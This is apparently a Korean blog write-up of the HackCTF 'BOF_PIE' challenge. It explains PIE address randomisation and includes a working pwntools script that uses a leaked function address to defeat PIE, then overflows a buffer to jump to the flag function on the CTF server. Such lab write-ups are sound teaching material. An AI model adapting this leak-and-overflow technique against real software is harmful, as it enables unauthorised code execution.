HackCTF BOF_PIE Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

정적 분석

PIE(Position Independent Executable)이란 Memory Mitigation 기법 중 하나로 용어를 직역하자면 "위치에 의존하지 않고 실행 가능한 것" 으로 표현할 수 있습니다.

여기서 '위치에 의존하지 않음' 이란 쉽게 설명하자면 gdb를 통해 동적 debugging을 진행할 때 info functions 명령을 통해 사용되는 함수들의 시작 주소를 확인할 수 있습니다.

이렇게 구성되어 있을 경우 만약 해당 프로그램 내에 shell을 호출하거나 critical 한 함수가 존재할 경우 해당 주소로 흐름을 조작하는 것이 가능합니다.

이를 방지하기 위해 프로그램이 시작될 시 random 한 값을 생성하여 해당 값 + 함수의 offset을 통해 함수의 주소를 재정의 하는 것입니다.

해당 프로그램에서는 flag를 출력해주는 함수가 존재하였으나 PIE로 인해 직접 주소를 지정하는 것은 불가능하였습니다.

Ghidra를 통해 decompile을 확인한 결과 runtime 동안 welcome 함수의 주소를 출력해주는 것을 확인할 수 있었습니다. 또한 출력 후에 buf에 입력을 받으며 overflow point 또한 존재하였기에 welcome 함수를 통해 random 값을 구한 뒤 이를 offset 통해 역산하여, flag를 출력해주는 함수로 조작하였습니다.


Exploit

 #!/usr/bin/python3
 
 from pwn import *
 
 p = remote("ctf.j0n9hyun.xyz", 3008)
 
 elf = ELF("./bof_pie")
 
 flagOffset = elf.symbols['j0n9hyun']
 welcomeOffset = elf.symbols['welcome']
 
 p.recvuntil("j0n9hyun is ")
 welcome = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16) 
 
 pie = welcome - welcomeOffset
 flag = pie + flagOffset
 log.info("Flag is Mapeed " + hex(flag))
 
 padding = b"A"*0x16
 
 payload = padding
 payload += p32(flag)
 
 p.sendline(payload)
 p.recvline()
 log.info(p.recvline().decode('utf-8'))
profile
To be

0개의 댓글